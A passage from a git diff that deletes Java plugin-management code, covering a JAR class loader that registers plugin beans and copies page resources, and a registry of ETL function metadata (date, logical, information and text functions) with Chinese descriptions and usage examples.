classLoaderMap.get(code).put(version, loader); - allClassLoaders.add(loader); - } else { - Map pluginMap = Maps.newHashMap(); - PluginClassLoader loader = createClassLoader(code, version); - pluginMap.put(version, loader); - classLoaderMap.put(code, pluginMap); - allClassLoaders.add(loader); - } - LOGGER.debug("插件[{}.{}]加载成功!", code, version); - } catch (Exception e) { - LOGGER.error("插件注册出现异常,异常消息[{}]", e.getMessage(), e); - throw new IllegalPluginException("插件注册出现异常,异常消息[" + e.getMessage() + "]", e); - } - } - - - private PluginClassLoader createClassLoader(String code, String version) throws Exception { - String pluginDir = code + File.separator + version; - PluginClassLoader pluginClassLoader = new PluginClassLoader( - getClassURL(baseDir, pluginDir), - Thread.currentThread().getContextClassLoader()); - String path = "file:" + baseDir + File.separator + pluginDir + "/**/*.jar"; - ResourcePatternResolver resourcePatternResolver = new PathMatchingResourcePatternResolver(pluginClassLoader); - pluginClassLoader.setName(code); - pluginClassLoader.setVersion(version); - LOGGER.debug("{}开始加载。。。", code); - loadPath(code, version, resourcePatternResolver, path); - return pluginClassLoader; - } - - - /** - * 将符合条件的Bean以Class集合的形式返回 - * - * @throws IOException - * @throws ClassNotFoundException - */ - private void loadPath( - String code, - String version, - ResourcePatternResolver resourcePatternResolver, - String classPattern) throws IOException, ClassNotFoundException { - Resource[] resources = resourcePatternResolver.getResources(classPattern); - PluginClassLoader pcl = (PluginClassLoader) resourcePatternResolver.getClassLoader(); - String configPath = baseDir + File.separator + code + File.separator + version + File.separator + "config.properties"; - getAnalysisJar(configPath); - try { - for (Resource resource : resources) { - if (resource.isReadable() && analysisJar(resource.getFilename())) { - LOGGER.trace("解析JAR:{}", resource.getURL().getPath()); - Collection classNames = JarUtils.getAllClassInfo(resource.getURL().getPath()); - addPluginInit(classNames, version, pcl); - if (version.toUpperCase().equals("PAGE")) { - loadPage(resource.getURL().getPath(), pcl); - } - } - } - } catch (Throwable throwable) { - LOGGER.error("加载{}${}时候出错!", code, version, throwable); - } - } - - private void loadPage(String resourcePath, PluginClassLoader pcl) { - if (!Validator.hasText(this.pageDir)) { - Assert.fail("PageDir为空无法对【" + resourcePath + "】进行copy"); - } - Collection resources = JarUtils.getResources(resourcePath, "META-INF/resources"); - for (String r : resources) { - String urlPath = "jar:file:" + File.separator + resourcePath + "!" + File.separator + r; - File file = new File(this.pageDir + r.substring("META-INF/resources/".length(), r.length())); - if (file.exists()) { - file.delete(); - } - try { - URL url = pcl.getResource(r); - if (!file.getParentFile().exists()) { - file.getParentFile().mkdirs(); - } - FileUtils.copyInputStreamToFile(url.openStream(), file); - } catch (MalformedURLException e) { - LOGGER.error("获取:{}出现异常", urlPath, e); - } catch (IOException e) { - - LOGGER.error("无法将[" + urlPath + "]copy到[" + file.getPath() + "]", e); - } - - } - } - - private void addPluginInit(Collection classNames, String version, PluginClassLoader pcl) throws ClassNotFoundException { - for (String cn : classNames) { - LOGGER.trace("解析类:{}", cn); - Class clazz = pcl.loadClass(cn); - for (IPluginRegistMethod filter : this.registMethods) { - if (filter.filter(clazz)) { - PluginBeanMeta beanMeta = filter.regist(pcl, clazz); - if (beanMeta != null) { - beanMeta.setVersion(version); - addPluginBeanMeta(beanMeta.getBeanName(), beanMeta); - } - } - } - } - } - - /** - * 判断是否需要加载 - * - * @param fileName - * @return - */ - private boolean analysisJar(String fileName) { - for (String analysis : analysisJar) { - String regex = analysis.replace("*", ".*"); - if (fileName.matches(regex)) { - return true; - } - } - return false; - } - - private void getAnalysisJar(String config) { - if (StringUtils.isBlank(config)) { - return; - } - File file = new File(config); - if (!file.isFile()) { - return; - } - Properties properties = null; - FileInputStream fis = null; - try { - fis = new FileInputStream(file); - properties = new Properties(); - properties.load(fis); - String jarName = properties.getProperty("jarName"); - Boolean flag = Boolean.valueOf(properties.getProperty(getStringRemoveMess(properties, "isLoad"), "false")); - if (StringUtils.isNotBlank(jarName) && flag) { - String[] jarNames = jarName.split(","); - Collections.addAll(analysisJar, jarNames); - } - } catch (IOException e) { - LOGGER.warn("配置文件[{}]读取失败.", config, e); - } finally { - if (fis != null) { - try { - fis.close(); - } catch (IOException e) { - LOGGER.warn(e.getMessage(), e); - } - } - } - } - - /** - * 防止windowns生成的config文件首行乱码 - * - * @param properties - * @param key - * @return - */ - private String getStringRemoveMess(Properties properties, String key) { - Set propertyset = properties.keySet(); - for (Object o : propertyset) { - if (o.toString().endsWith("isLoad")) { - key = o.toString(); - } - } - return key; - } - - private static URL[] getClassURL(String baseDir, String pluginDir) throws Exception { - List result = Lists.newArrayList(); - File path = new File(baseDir + File.separator + pluginDir); - if (path.exists()) { - List files = FileSystemUtil.getAllFiles(path, false, null); - for (File file : files) { - result.add(file.toURI().toURL()); - LOGGER.trace("准备加载JAR:{}", file.toURI().toURL()); - } - } else { - LOGGER.warn("找不到指定路径{}", baseDir + File.separator + pluginDir); - } - return result.toArray(new URL[result.size()]); - } - - public String getBaseDir() { - return baseDir; - } - - public void setBaseDir(String baseDir) { - this.baseDir = baseDir; - } - - public static void main(String[] args) throws IOException, SecurityException, NoSuchMethodException, ClassNotFoundException, IllegalArgumentException, IllegalAccessException, InvocationTargetException { - JarUtils.loadClass("C:\\plugin\\ORACLE\\11g\\etl-rdb-0.0.1-SNAPSHOT.jar", Thread.currentThread().getContextClassLoader()); - } - - public Set getAnalysisJar() { - return analysisJar; - } - - public void setAnalysisJar(Set analysisJar) { - this.analysisJar = analysisJar; - } - - public Set getRegistMethods() { - return registMethods; - } - - public void setRegistMethods(Set registMethods) { - this.registMethods = registMethods; - } - - public Map getThirdPluginMap() { - return thirdPluginMap; - } - - public void setThirdPluginMap(Map thirdPluginMap) { - this.thirdPluginMap = thirdPluginMap; - } - - public String getPageDir() { - return pageDir; - } - - public void setPageDir(String pageDir) { - this.pageDir = pageDir; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/service/impl/FuncBeanRegister.java b/luqj-plugin/src/main/java/org/code/modules/plugins/service/impl/FuncBeanRegister.java deleted file mode 100644 index 6170dbe..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/service/impl/FuncBeanRegister.java +++ /dev/null @@ -1,506 +0,0 @@ -package org.code.modules.plugins.service.impl; - - -import com.google.common.collect.Lists; -import org.code.modules.plugins.function.annotation.FuncBean; -import org.code.modules.plugins.function.annotation.FuncMethod; -import org.code.modules.plugins.function.annotation.FuncParam; -import org.code.modules.plugins.function.annotation.FuncTypeEnum; -import org.code.modules.plugins.loader.PluginClassLoader; -import org.code.modules.plugins.model.PluginBeanMeta; -import org.code.modules.plugins.service.IPluginRegistMethod; -import org.code.modules.plugins.service.impl.function.FuncExample; -import org.code.modules.plugins.service.impl.function.FuncMeta; -import org.code.modules.plugins.service.impl.function.FuncParamMeta; -import org.code.modules.plugins.types.*; -import org.apache.commons.lang.StringUtils; -import com.luqj.util.Validator; -import com.luqj.util.reflect.ClassUtils; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import org.springframework.stereotype.Service; -import org.springframework.util.Assert; - -import java.lang.reflect.Method; -import java.util.*; - -/** - * 函数元数据注册 - * Created by chenzm on 2017/11/23. - */ -@Service -public class FuncBeanRegister implements IPluginRegistMethod { - private Map> funcTree = new LinkedHashMap<>(); - private static final Logger logger = LoggerFactory.getLogger(FuncBeanRegister.class); - private Map funcMetas = new HashMap<>(); - private volatile boolean hasInitialized = false; - - @Override - public Class[] typeFilters() { - return new Class[]{FuncBean.class}; - } - - @Override - public boolean filter(Class clazz) { - FuncBean b = clazz.getAnnotation(FuncBean.class); - return b != null; - } - - @Override - public PluginBeanMeta regist(PluginClassLoader loader, Class clazz) { - FuncBean pb = (FuncBean) clazz.getAnnotation(FuncBean.class); - String beanName = Validator.hasText(pb.code()) ? pb.code() : ClassUtils.getDefBeanName(clazz); - try { - registerFuncMeta(clazz); - } catch (Exception e) { - - logger.error("函数元数据[" + clazz.getName() + "]注册失败", e); - } - return new PluginBeanMeta(beanName, clazz.getName(), loader); - } - - private FuncExample buildExamples(String input, String output, String memo) { - return new FuncExample("", input, memo, output); - } - - private FuncParamMeta buildParamMeta(Type type, String... args) { - FuncParamMeta param = new FuncParamMeta(); - param.setCode(args.length > 0 ? args[0] : "arg"); - param.setName(args.length > 1 ? args[1] : "参数"); - if (args.length > 2 && StringUtils.isNotBlank(args[2])) { - param.setMemo(args[2]); - } - if (args.length > 3 && StringUtils.isNotBlank(args[3])) { - param.setAny(Boolean.valueOf(args[3])); - } - if (args.length > 4 && StringUtils.isNotBlank(args[4])) { - param.setDefVal(args[4]); - } - param.setValType(type.getCode()); - param.setPrecision(type.getPrecsn()); - param.setLength(type.getLength()); - - return param; - } - - /** - * 注册函数元数据信息 - * - * @param clazz - * @param - */ - public void registerFuncMeta(Class clazz) { - if (logger.isDebugEnabled()) { - logger.debug(String.format("开始注册函数%s", clazz.getName())); - } - Assert.notNull(clazz, "函数元数据信息对象不能为空!"); - FuncBean funcBean = clazz.getAnnotation(FuncBean.class); - Assert.notNull(funcBean, String.format("%s必须要FuncBean注解", clazz.getName())); - for (Method method : clazz.getDeclaredMethods()) { - FuncMethod funcMethod = method.getAnnotation(FuncMethod.class); - if (funcMethod != null) { - FuncParamMeta outputParam = buildParamMeta(StdTypes.getStandardTypeByName("std." + funcMethod.outputParam().valType().name())); - FuncParamMeta[] inputParams = new FuncParamMeta[funcMethod.inputParams().length]; - String inputParamStr = ""; - for (int i = 0; i < funcMethod.inputParams().length; i++) { - FuncParam param = funcMethod.inputParams()[i]; - inputParams[i] = buildParamMeta( - StdTypes.getStandardTypeByName("std." + param.valType().name()), - param.code(), param.name(), param.name(), - String.valueOf(param.isAny()), param.defVal() - ); - inputParamStr = inputParamStr + ",[" + param.code() + "]"; - } - if (!funcMetas.containsKey(funcBean.code())) { - FuncMeta funcMeta = buildFuncMeta(funcBean.code(), - funcBean.name(), funcBean.clazz(), - funcBean.funcType(), funcBean.memo(), - null, null - ); - for (org.code.modules.plugins.function.annotation.FuncExample example : funcBean.examples()) { - if (StringUtils.isNotBlank(example.input())) { - funcMeta.addExample(new FuncExample(example.name(), example.input(), example.memo(), example.result())); - } - - } - funcMeta.setFuncMethodExample(funcMeta.getCode() + "(" + inputParamStr.replaceFirst(",", "") + ")"); - this.addFunc(funcBean.classifyDir(), funcMeta); - this.funcMetas.put(funcBean.code(), funcMeta); - } - this.funcMetas.get(funcBean.code()).setOutputParam(method.getName(), outputParam); - this.funcMetas.get(funcBean.code()).setInputParam(method.getName(), Arrays.asList(inputParams)); - } - } - } - - private void addFunc(String classifyDir, FuncMeta funcMeta) { - if (!this.funcTree.containsKey(classifyDir)) { - this.funcTree.put(classifyDir, new ArrayList()); - } - this.funcTree.get(classifyDir).add(funcMeta); - logger.debug(String.format("[code=%s, name=%s, class=%s]函数元数据信息注册成功", - funcMeta.getCode(), funcMeta.getName(), funcMeta.getClazz()) - ); - } - - private FuncMeta buildFuncMeta(String funcCode, String funcName, String clazz, FuncTypeEnum funcType, String memo, - FuncExample funcExample, FuncParamMeta outputParam, FuncParamMeta... inputParams) { - FuncMeta meta = new FuncMeta(); - meta.setCode(funcCode); - meta.setName(funcName); - meta.setClazz(clazz); - meta.setFuncType(funcType.getCode()); - meta.setMemo(memo); - if (outputParam != null) { - meta.setOutputParam(funcName, outputParam); - } - String inputParamStr = ""; - if (inputParams != null && inputParams.length > 0) { - for (int i = 0; i < inputParams.length; i++) { - inputParams[i].setArgPos(i); - inputParamStr = inputParamStr + ",[" + inputParams[i].getCode() + "]"; - } - meta.setInputParam(funcName, Arrays.asList(inputParams)); - } - if (funcExample != null) { - meta.addExample(funcExample); - } - - meta.setFuncMethodExample(funcCode + "(" + inputParamStr.replaceFirst(",", "") + ")"); - return meta; - } - - public synchronized Map> getFuncTree() { - if (hasInitialized) { - return this.funcTree; - } - - Map> typeMap = funcInitInfo(); - for (String classifyDir : typeMap.keySet()) { - for (FuncMeta funcMeta : typeMap.get(classifyDir)) { - this.addFunc(classifyDir, funcMeta); - } - } - hasInitialized = true; - return this.funcTree; - } - - /** - * 函数初始化信息 - * - * @return - */ - private Map> funcInitInfo() { - Map> typeMap = new LinkedHashMap>(); - List funcs = new ArrayList(); - - funcs.add(buildFuncMeta("REVERSE_LONG_TO_DATE", "时间戳转化为日期时间对象", "com.code.std.function.method.datetime.ReverseLongToDateFunc", FuncTypeEnum.NORMAL, "LONG>MAX-LONG的时间戳转化为日期时间对象", - buildExamples("REVERSE_LONG_TO_DATE(1511775486481,0)", "java.util.Date", "1511775486481转换为java.util.Date"), - buildParamMeta(ObjType.BASE), buildParamMeta(StringType.BASE, "datestr", "Long Long类型时间戳,如:1511775486481"), - buildParamMeta(StringType.BASE, "outputType", "输出类型,0:java.util.Date 1:java.sql.Date 2:java.sql.Timestamp 3:java.sql.Time") - )); - funcs.add(buildFuncMeta("CHAR_TO_DATE", "字符串转时间对象", "com.code.std.function.method.datetime.ToDateFunc", FuncTypeEnum.NORMAL, "根据inFmt的样式,日期时间字符串转化为日期时间对象", - buildExamples("CHAR_TO_DATE(20041001,yyyyMMdd)", "java.util.Date(2004-10-01)", "将日期时间字符串20041001转化成时间对象2004-10-01"), - buildParamMeta(ObjType.BASE), buildParamMeta(StringType.BASE, "datestr", "String 日期时间字符串,如:20041001、2004年10月01日 15:03"), - buildParamMeta(StringType.BASE, "inFmt", "String 对datestr参数格式说明,参照类说明,如yyyyMMdd、yyyy年MM月dd日 HH:mm"), - buildParamMeta(StringType.BASE, "dateType", "String 输出日期的格式,'0': 正常日期格式(如Thu Feb 22 00:00:00 GMT+08:00 2018);'1':SQL_Date格式(yyyy-MM-dd);'2':SQL_TIMESTAMP格式(yyyy-MM-dd HH:mm:ss.0格式,'3':SQL_TIME格式(HH:mm:ss);该参数可不填,不填默认'1'") - )); - funcs.add(buildFuncMeta("DATE_TO_CHAR", "时间对象转成字符串", "com.code.std.function.method.datetime.ToCharFunc", FuncTypeEnum.NORMAL, "时间对象转成字符串", - buildExamples("DATE_TO_CHAR(2018年08月10日 15:53:22,yyyy-MM-dd HH:mm:ss,1900-12-30 01:01:01)", "2018年08月10日 15:53:22", "将时间对象2018年08月10日 15:53:22转成字符串,当参数为空的情况下输出默认值1900-12-30 01:01:01"), - buildParamMeta(StringType.BASE), buildParamMeta(DateType.BASE, "date", "时间对象 java.util.Date,java.sql.Date,java.sql.Timestamp,java.sql.Time"), - buildParamMeta(StringType.BASE, "outFmt", "时间字符串输出的格式,如yyyyMMdd、yyyy年MM月dd日 HH:mm"), - buildParamMeta(StringType.BASE, "defVal", "date 参数为空的情况下输出的默认值") - )); - funcs.add(buildFuncMeta("MILLISECONDS", "获取毫秒数", "com.code.std.function.method.datetime.MilliSeconds", FuncTypeEnum.NORMAL, "获取毫秒数,当前时间的毫秒值加上间隔时间所获取到的毫秒值", - buildExamples("MILLISECONDS(0,DAY_OF_YEAR)", "1533887484139", "获取当前时间的毫秒值加上间隔为0天所获取到的毫秒值的和返回"), - buildParamMeta(LongType.BASE), - buildParamMeta(StringType.BASE, "intervalTime", "间隔时间值"), - buildParamMeta(StringType.BASE, "unit", "时间单位 YEAR MONTH DAY_OF_YEAR") - )); - funcs.add(buildFuncMeta("SYS_TIME", "获取系统时间", "com.code.std.function.method.datetime.SysTimeFunc", FuncTypeEnum.NORMAL, "获取系统时间,通过毫秒数转成指定格式的时间", - buildExamples("SYS_TIME(MILLISECONDS(0,DAY_OF_YEAR),yyyyMMdd)", "20180819", "将传入的时间的毫秒数转成指定格式yyyyMMdd的时间"), - buildParamMeta(StringType.BASE), - buildParamMeta(LongType.BASE, "milliseconds", "间隔时间值"), - buildParamMeta(StringType.BASE, "outFmt", "outFmt参数格式说明,如yyyyMMddHHmmss,yyyyMMdd, yyyy年MM月dd日 HH:mm") - )); - funcs.add(buildFuncMeta("DATE_WINDOW_EXPAND", "时间窗函数", "com.code.std.function.method.reduce.DateWindowExpandFunc", FuncTypeEnum.NORMAL, "时间窗函数(无法调试执行,需在实际环境中使用)", - buildExamples("DATE_WINDOW_EXPAND(3,yyyyMMdd,true,SFZH,CZS)", "返回List集合", "根据输入的间隔时间值和时间参数格式yyyyMMdd,设置时间扩展将需往下流的字段SFZH、CZS封装到以时间为键值的数组中返回"), - buildParamMeta(ListType.BASE, "OUTPUT_KEY", "返回的类型"), - buildParamMeta(IntegerType.BASE, "param1", "间隔时间值(int),比如设置(20170102)为3天,取的范围为(20170101,20170102,20170103)"), - buildParamMeta(StringType.BASE, "param2", "时间参数(varchar),格式yyyyMMdd"), - buildParamMeta(StringType.BASE, "param3", "是否设置时间扩展(true or false)"), - buildParamMeta(StringType.BASE, "param4 ...", "需往下流的字段,支持多个") - )); - funcs.add(buildFuncMeta("DATE_ADD", "添加时间跨度函数", "com.code.std.function.method.date.AddDayFunc", FuncTypeEnum.NORMAL, "添加时间跨度函数(无法调试执行,需在实际环境中使用)", - buildExamples("DATE_ADD(2018-01-01 11:12:12,12,hour)", "2018-01-01 23:12:12", "根据输入的时间2018-01-01 11:12:12增加12小时得到新的时间返回"), - buildParamMeta(DateType.BASE, "返回指定类型", "返回DATE类型,入参必须是date类型"), - buildParamMeta(DateType.BASE, "date", "指定时间点(java.util DATE类型)"), - buildParamMeta(IntegerType.BASE, "num", "添加时间跨度"), - buildParamMeta(StringType.BASE, "format", "时间类型,目前支持:YEAR,MONTH,DAY,HOUR,MINUTE,SECOND") - )); - typeMap.put("date", funcs); - - /*funcs = new ArrayList(); - funcs.add(buildFuncMeta("MAX", "com.code.std.function.method.mathematical.MaxFunc", FuncTypeEnum.NORMAL, "从一组数字中返回最大值", - buildParamMeta(NumberType.BASE), buildParamMeta(AnyType.createAnyType(NumberType.BASE)) - )); - funcs.add(buildFuncMeta("MIN", "com.code.std.function.method.mathematical.MinFunc", FuncTypeEnum.NORMAL, "从一组数字中返回最小值", - buildParamMeta(NumberType.BASE), buildParamMeta(AnyType.createAnyType(NumberType.BASE)) - )); - funcs.add(buildFuncMeta("AVG", "com.code.std.function.method.mathematical.AvgFunc", FuncTypeEnum.NORMAL, "从一组数字获取平均值", - buildParamMeta(NumberType.BASE), buildParamMeta(AnyType.createAnyType(NumberType.BASE)) - )); - funcs.add(buildFuncMeta("SUM", "com.code.std.function.method.mathematical.SumFunc", FuncTypeEnum.NORMAL, "一组数字的总和", - buildParamMeta(NumberType.BASE), buildParamMeta(AnyType.createAnyType(NumberType.BASE)) - )); - funcs.add(buildFuncMeta("RMAX", "com.code.std.function.method.mathematical.dataset.RMaxFunc", FuncTypeEnum.AGGREGATION, "数据集间求最大值", - buildParamMeta(ObjType.BASE), buildParamMeta(ObjType.BASE) - )); - funcs.add(buildFuncMeta("RMIN", "com.code.std.function.method.mathematical.dataset.RMinFunc", FuncTypeEnum.AGGREGATION, "数据集间求最小值", - buildParamMeta(ObjType.BASE), buildParamMeta(ObjType.BASE) - )); - funcs.add(buildFuncMeta("RAVG", "com.code.std.function.method.mathematical.dataset.RAvgFunc", FuncTypeEnum.AGGREGATION, "数据集间求平均值", - buildParamMeta(ObjType.BASE), buildParamMeta(ObjType.BASE) - )); - funcs.add(buildFuncMeta("RSUM", "com.code.std.function.method.mathematical.dataset.RSumFunc", FuncTypeEnum.AGGREGATION, "数据集间求和", - buildParamMeta(ObjType.BASE), buildParamMeta(ObjType.BASE) - )); - typeMap.put("mathematical", funcs);*/ - - funcs = new ArrayList(); - funcs.add(buildFuncMeta("TRUE", "返回常数true值", "com.code.std.function.method.logical.TrueFunc", FuncTypeEnum.NORMAL, "返回常数true值", - buildExamples("TRUE()", "true", "返回常数true值"), - buildParamMeta(BooleanType.BASE) - )); - - funcs.add(buildFuncMeta("OR", "逻辑或", "com.code.std.function.method.logical.OrFunc", FuncTypeEnum.NORMAL, "计算一组布尔参数的逻辑或", - buildExamples("OR(0,0,0,0)", "false", "逻辑或,全部为false才为false,如果OR(0,0,0,1)则返回true"), - buildParamMeta(BooleanType.BASE), buildParamMeta(AnyType.createAnyType(BooleanType.BASE), "flag...", "布尔值,可以传入多个,例如:OR(flag1,flag2,...,flag100)") - )); - funcs.add(buildFuncMeta("AND", "逻辑与", "com.code.std.function.method.logical.AndFunc", FuncTypeEnum.NORMAL, "计算一组布尔参数的逻辑与", - buildExamples("AND(0,0,1,1)", "false", "逻辑与,全部为true才为true,例如AND(1,1,1,1)则返回true"), - buildParamMeta(BooleanType.BASE), buildParamMeta(AnyType.createAnyType(BooleanType.BASE), "flag...", "布尔值,可以传入多个,例如:AND(flag1,flag2,...,flag100)") - )); - - funcs.add(buildFuncMeta("IF", "if判断", "com.code.std.function.method.logical.IfFunc", FuncTypeEnum.NORMAL, "根据条件返回两个值中的一个", - buildExamples("IF(true,是,否)", "是", "第一参数为判断条件,满足则输出第二个参数,不满足输出第三个参数"), - buildParamMeta(ObjType.BASE), buildParamMeta(BooleanType.BASE, "boolean", "判断条件"), buildParamMeta(ObjType.BASE, "res1", "返回值1"), - buildParamMeta(ObjType.BASE, "res2", "返回值2") - )); - funcs.add(buildFuncMeta("EQ", "两个数值参数间的逻辑比较是否相等", "com.code.std.function.method.logical.EqFunc", FuncTypeEnum.NORMAL, "两个数值参数间的逻辑比较是否相等", - buildExamples("EQ(44,44)", "true", "比较44和44两个数值参数间的逻辑比较是否相等"), - buildParamMeta(BooleanType.BASE), buildParamMeta(ObjType.BASE), buildParamMeta(ObjType.BASE))); - funcs.add(buildFuncMeta("GT", "两个数值逻辑比较是否大于", "com.code.std.function.method.logical.GtFunc", FuncTypeEnum.NORMAL, "两个数值参数间的逻辑比较是否大于", - buildExamples("GT(49,44)", "true", "比较49和44两个数值参数间的逻辑比较是否大于"), - buildParamMeta(BooleanType.BASE), buildParamMeta(NumberType.BASE, "num1", "数值1"), buildParamMeta(NumberType.BASE, "num2", "数值2") - )); - funcs.add(buildFuncMeta("GTE", "两个数值逻辑比较是否大于等于", "com.code.std.function.method.logical.GteFunc", FuncTypeEnum.NORMAL, "两个数值参数间的逻辑比较是否大于等于", - buildExamples("GTE(44,44)", "true", "比较44和44两个数值参数间的逻辑比较是否大于等于"), - buildParamMeta(BooleanType.BASE), buildParamMeta(NumberType.BASE, "num1", "数值1"), buildParamMeta(NumberType.BASE, "num2", "数值2") - )); - funcs.add(buildFuncMeta("LT", "两个数值逻辑比较是否小于", "com.code.std.function.method.logical.LtFunc", FuncTypeEnum.NORMAL, "两个数值参数间的逻辑比较是否小于", - buildExamples("LT(42,44)", "true", "比较42和44两个数值参数间的逻辑比较是否小于"), - buildParamMeta(BooleanType.BASE), buildParamMeta(NumberType.BASE, "num1", "数值1"), buildParamMeta(NumberType.BASE, "num2", "数值2") - )); - funcs.add(buildFuncMeta("LTE", "两个数值逻辑比较是否小于等于", "com.code.std.function.method.logical.LteFunc", FuncTypeEnum.NORMAL, "两个数值参数间的逻辑比较是否小于等于", - buildExamples("LTE(42,44)", "true", "比较42和44两个数值参数间的逻辑比较是否小于等于"), - buildParamMeta(BooleanType.BASE), buildParamMeta(NumberType.BASE, "num1", "数值1"), buildParamMeta(NumberType.BASE, "num2", "数值2") - )); - funcs.add(buildFuncMeta("NOT", "计算逻辑非", "com.code.std.function.method.logical.NotFunc", FuncTypeEnum.NORMAL, "计算逻辑非", - buildExamples("NOT(true)", "false", "计算true的逻辑非为false"), - buildParamMeta(BooleanType.BASE), buildParamMeta(BooleanType.BASE, "boolean", "布尔值") - )); - funcs.add(buildFuncMeta("XOR", "计算逻辑XOR", "com.code.std.function.method.logical.XorFunc", FuncTypeEnum.NORMAL, "输入的布尔值全部一样返回false,有一个不一样返回true", - buildExamples("XOR(true,true,true)", "false", "输入的布尔值全部一样返回false,如果为XOR(true,true,false)则返回true"), - buildParamMeta(BooleanType.BASE), buildParamMeta(BooleanType.BASE, "booleans...", "输入的布尔值,可以输入多个,XOR(boolean1,boolean2,...,boolean100)") - )); - funcs.add(buildFuncMeta("MATCH", "逻辑匹配", "com.code.std.function.method.logical.MatchFunc", FuncTypeEnum.NORMAL, "逻辑匹配", - buildExamples("MATCH(CHAR_TO_NUMBER(125)<=130,'偏高')", "偏高", "判断前一个参数的逻辑值是否满足条件,满足则输出后一个参数的值"), - buildParamMeta(ObjType.BASE), buildParamMeta(BooleanType.BASE, "logic", "逻辑值 true false"), - buildParamMeta(ObjType.BASE), buildParamMeta(AnyType.BASE, "any", "前一个参数是逻辑值,后一个参数是要输出的值") - )); - typeMap.put("logical", funcs); - - funcs = new ArrayList(); - funcs.add(buildFuncMeta("CHOOSE", "使用索引从值的列表返回一个值", "com.code.std.function.method.information.ChooseFunc", FuncTypeEnum.NORMAL, "使用索引从值的列表返回一个值", - buildExamples("CHOOSE(1,aa,bb)", "aa", "索引1的参数值为aa"), - buildParamMeta(ObjType.BASE), buildParamMeta(NumberType.BASE, "indexCode", "索引列值", "索引值从1开始"), - buildParamMeta(AnyType.BASE, "obj...", "索引值上的实际值,可输入多个,例如CHOOSE(indexCode,obj1,obj2,...,obj100,...)") - )); - funcs.add(buildFuncMeta("ISBLANK", "参数值为空判断", "com.code.std.function.method.information.IsBlankFunc", FuncTypeEnum.NORMAL, "如果参数值为空返回TRUE,否则返回FALSE", - buildExamples("ISBLANK('')", "true", "参数值为空或空字符串返回TRUE"), - buildParamMeta(BooleanType.BASE), buildParamMeta(StringType.BASE, "str", "字符串") - )); - funcs.add(buildFuncMeta("ISNUMBER", "参数值类型为数字判断", "com.code.std.function.method.information.IsNumberFunc", FuncTypeEnum.NORMAL, - "如果参数值类型为数字返回TRUE,否则返回FALSE,由于调试页面输入会被当做String类型,所以调试页面不准确,即使输入纯数字也会返回false", - buildExamples("ISNUMBER(INTEGER)", "true", "参数值类型为数字返回TRUE"), - buildParamMeta(BooleanType.BASE), buildParamMeta(ObjType.BASE, "obj", "输入对象") - )); - funcs.add(buildFuncMeta("ISTEXT", "参数值类型为字符串判断", "com.code.std.function.method.information.IsTextFunc", FuncTypeEnum.NORMAL, - "如果参数值为文本返回TRUE,否则返回FALSE,由于调试页面输入会被当做String类型,所以调试页面无法测试其他类型,需要实际配方案执行测试", - buildExamples("ISTEXT(adfdf)", "true", "参数值类型为字符串返回true"), - buildParamMeta(BooleanType.BASE), buildParamMeta(ObjType.BASE, "obj", "输入对象") - )); - typeMap.put("information", funcs); - - funcs = new ArrayList(); - funcs.add(buildFuncMeta("TEXT", "对象转换为字符串", "com.code.std.function.method.text.TextFunc", FuncTypeEnum.NORMAL, "返回转换为文本的值", - buildExamples("TEXT(456)", "'456'", "数字456被转成字符串'456'"), - buildParamMeta(StringType.BASE), buildParamMeta(ObjType.BASE, "obj", "需要转换为字符串的对象") - )); - funcs.add(buildFuncMeta("TRIM", "文本去空", "com.code.std.function.method.text.TrimFunc", FuncTypeEnum.NORMAL, "返回文本去空后的值", - buildExamples("TRIM( abcde )", "abcde", "文本左右的空格被去掉"), - buildParamMeta(StringType.BASE), buildParamMeta(StringType.BASE, "str", "需要去空的字符串") - )); - /*funcs.add(buildFuncMeta("UPPER", "com.code.std.function.method.text.UpperFunc", FuncTypeEnum.NORMAL, "小写字母转换为大写字母", - buildParamMeta(StringType.BASE), buildParamMeta(StringType.BASE) - ));*/ - funcs.add(buildFuncMeta("LEN", "文本长度统计", "com.code.std.function.method.text.LenFunc", FuncTypeEnum.NORMAL, "返回文本的长度", - buildExamples("LEN(abcd)", "4", "abcd文本字符串的长度为4"), - buildParamMeta(IntegerType.BASE), buildParamMeta(StringType.BASE, "str", "字符串") - )); - /*funcs.add(buildFuncMeta("LOWER", "com.code.std.function.method.text.LowerFunc", FuncTypeEnum.NORMAL, "大写字母转换为小写字母", - buildParamMeta(StringType.BASE), buildParamMeta(StringType.BASE) - ));*/ - funcs.add(buildFuncMeta("SUBSTRING", "文本截取", "com.code.std.function.method.text.SubstringFunc", FuncTypeEnum.NORMAL, "文本截取函数", - buildExamples("SUBSTRING(abcd,1,2)", "b", "abcd截取的结果为b"), - buildParamMeta(StringType.BASE), buildParamMeta(StringType.BASE, "str", "截取前的原始字符串"), - buildParamMeta(NumberType.BASE, "start", "开始位置,索引值从0开始,截取时包含开始位置的值"), - buildParamMeta(NumberType.BASE, "end", "结束位置,截取时不包含结束位置的值") - )); - /*funcs.add(buildFuncMeta("REPLACE", "com.code.std.function.method.text.ReplaceFunc", FuncTypeEnum.NORMAL, "文本替换函数", - buildParamMeta(StringType.BASE), buildParamMeta(StringType.BASE, "sourceText"), buildParamMeta(StringType.BASE, "regex", "正则表达式"), - buildParamMeta(StringType.BASE, "replacement", "替换值"), buildParamMeta(NumberType.BASE, "methodCode", "方法代码", "0:replaceAll 1:replace 2:replaceFirst") - ));*/ - funcs.add(buildFuncMeta("EXACT", "字符串比较", "com.code.std.function.method.text.ExactFunc", FuncTypeEnum.NORMAL, "比较两个字符串是否一致,一致返回true,不一致返回false", - buildExamples("EXACT(aa,aa)", "true", "一致返回true"), - buildParamMeta(BooleanType.BASE), buildParamMeta(StringType.BASE, "str1", "字符串1"), - buildParamMeta(StringType.BASE, "str2", "字符串2") - )); - - funcs.add(buildFuncMeta("FIND", "字符在字符串中的位置", "com.code.std.function.method.text.FindFunc", FuncTypeEnum.NORMAL, "查找字符在字符串的位置,字符串的索引值从0开始,返回第一个匹配到的字符串位置,匹配不到返回-1", - buildExamples("FIND(bbbaabbbb, a)", "3", "返回第一个匹配到的字符位置的索引值"), - buildParamMeta(IntegerType.BASE), buildParamMeta(StringType.BASE, "text", "文本"), buildParamMeta(StringType.BASE, "searchValue", "查找值") - )); - - /*funcs.add(buildFuncMeta("CONCAT", "com.code.std.function.method.text.ConcatFunc", FuncTypeEnum.NORMAL, "字符串拼接函数", - buildParamMeta(StringType.BASE), buildParamMeta(AnyType.createAnyType(StringType.BASE), "strs", "任意的字符串") - ));*/ - 